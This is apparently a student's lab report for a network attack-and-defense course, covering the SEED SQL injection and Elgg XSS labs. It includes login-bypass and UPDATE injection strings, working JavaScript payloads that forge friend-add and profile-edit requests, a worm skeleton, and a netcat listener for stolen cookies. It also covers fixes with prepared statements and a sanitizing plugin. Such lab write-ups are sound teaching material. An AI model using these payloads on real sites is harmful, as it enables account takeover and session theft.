20212904 2021-2022-2 《网络攻防实践》实践十报告

20212904 2021-2022-2 《网络攻防实践》实践十报告

1 实践内容

1.1 SEED SQL注入攻击与防御实验

现有web应用程序员工管理应用程序托管在www.SEEDLabSQLInjection.com,管理员可以管理每个员工的个人资料信息,员工可以查看或更新个人资料。
完成以下任务:
(1)熟悉SQL语句: 现有名为Users的数据库,包含一个名为creditential的表,存储员工个人信息,此任务需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。本实验需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,无论是谁查看的受感染用户个人资料都将被感染。
(1)发布恶意消息,显示警报窗口:在Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。

2基础知识

2.1 SQL注入

2.2 XSS跨站脚本攻击

2 实践过程

2.1 SEED SQL注入攻击与防御实验

(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表,该表存储了每个员工的个人信息在此任务中,您需要使用数据库来熟悉SQL查询。

  • 输入命令sudo service apache2 start,密码是dees。输入mysql -u root -p,用户名是root,密码是seedubuntu,登录MySQL控制台。
  • 启动后,输入命令 show databases;命令查看所有数据库,使用命令use Users;加载Users数据库。
  • 输入show tables;查看库中有哪些表。
  • 输入WHERE子句指令select * from credential where Name='Alice'。

(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

  • 进入SEED已经搭建好的Web页面:www.SEEDLabSQLInjection.com。
  • 使用快捷键ctrl+U查看当前网页的源代码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验。
  • "#"在sql语句中代表注释这里把‘#加到用户名后测试输入用户名为Admin' #,密码为空,发现登陆成功,进入以下界面。

    (3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • 查看后台代码,打开文件/var/www/SQLInjection/unsafe edit home.php,查看划线语句:之所以刚才无需密码就可以登陆成功,是因为:
    • "#"在sql语句中代表注释,也就是说如果把#加在上述语句中,其之后的内容在实际过程中不会被执行。如果加载密码之前,也就是不会对密码进行验证。
    • ’代表代码这段内容在此处结束。
    • 因此如果我们输入的员工名是Admin’#,那就可以输出所有员工的相关信息。
  • 同样输入用户名为Alice’#,密码为空,成果登录Alice账号,查看Alice的Eid为10000。
  • 在Alice的编辑页面输入语句‘salary=’200’where eid=’10000’#。
  • 修改成功,Alice的薪水变成了200。

(4)SQL对抗:修复上述SQL注入,攻击漏洞。

  • SQL注入漏洞是因为由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。
  • 修改在unsafe_home.php中的sql预处理语句。
  • 修改unsafe_edit_backend.php中UPDATE语句。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  • 进入网站www.xsslabelgg.com。
  • 使用用户名:密码为Alice:seedalice,登录,右键Alice头像,点击Edit profile,在 Brief description 中插入XSS攻击代码,用于显示一个警告窗口。
  • 点击save保存,有如下弹窗。
  • 退出Alice账号,使用用户名:密码为Boby:seedboby,登录。
  • Friends-Search,搜索Alice添加她为朋友。
  • 点击Alice头像,会看到警告窗口。

    (2)弹窗显示cookie信息:将cookie信息显示。
  • 在Boby账号的Brief description插入JS语句。
  • 点击Save保存,会有弹窗显示当前Boby用户的的cookie信息。
  • 同样,登录Alice,账号查看Boby信息,也会有相关弹窗。

    (3)窃取受害者的cookies:将cookie发送给攻击者。
  • 查看本机IP:192.168.200.7。
  • 使用命令nc -l 5555 -v开始监听5555端口,其中 -l 指定端口, -v 显示详细信息。
  • 在Alice账号的Brief description插入js语句其中,192.168.200.7为本机(攻击机)IP。
  • 点击Save,监听结果显示当用户访问Alice profile时,打印出Boby用户的cookies。

    (4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
  • 首先Alice的账户中访问用户Boby的主页,并查看添加朋友的时候都需要干什么。
    • 打开浏览器的Tools-Web Developer-Network,点击Reload,点击Add friend。

    • 看到拦截到一个窗口,可以看到添加朋友请求的网址是http://...add?friend=...以及添加对象、当前时间等一系列参数。

  • 接下来构造javascript代码,其中的sendurl中包含了加朋友所需要的东西、。这段代码构建了一个添加朋友的请求,
    获取当前elgg_ts和elgg_token,然后构造一个URL访问,将这段代码添加到Alice的About me中(这里注意要是edit HTML模式)。
点击查看代码
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>

  • 登录Boby账号访问Alice主页,自动添加Alice为好友。

(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

  • 将以下代码放到Alice的about me中先获得访问者&__elgg_token=、__elgg_ts、&__name=elgg.session.user.name等信息,然后构建请求url,通过XMLHttpRequest对象构建请求,设置请求头等信息,send函数发送请求。判断语句判断是否为Alice的请求,若是则不作修改。
点击查看代码
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var samyGuid=44; if(elgg.session.user.guid!=samyGuid){ //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
  • 登录Boby账号访问Alice的主页,即可修改Boby的profile。

(6)编写XSS蠕虫。

  • 使用调用DOM API的方法,编写出一个蠕虫病毒代码如下,放到Alice 的 About me 中保存。
点击查看代码
<script id="worm" type ="text/javascript"> var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); alert(jsCode); </script>
  • 登录Boby账号访问Alice的profile发现这段代码被成功复制。

(7)对抗XSS攻击。

  • Elgg本身已提供对抗XSS攻击插件,可用管理员账户登录账号密码为Admin,seedelgg,找到Account->administration->plugins,找到插件HTMLawed,点击activate激活。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。
  • 查看Alice的profile,可以看到,刚刚的XSS攻击已经没有效果,Alice中的代码被当作about me显示出来了。

3 学习中遇到的问题及解决

  • 问题1:再about me 里添加代码并保存后没有生效。
  • 问题1解决方案:原因是没用edit HTML模式,改成该模式即可。
  • 问题2:加受害者好友时,点击对方主页未能直接添加好友。
  • 问题2解决方案:把之前简介里的注入代码删掉即可。

4 实践总结

本次实验主要学习了如何进行SQL注入攻击与防御以及 XSS跨站脚本攻击等知识,收获很大,实验的过程中遇到了一些难题,在以后的学习中还需要多加强巩固。

posted @ 2022-05-22 00:30  z小kk  阅读(63)  评论(0编辑  收藏  举报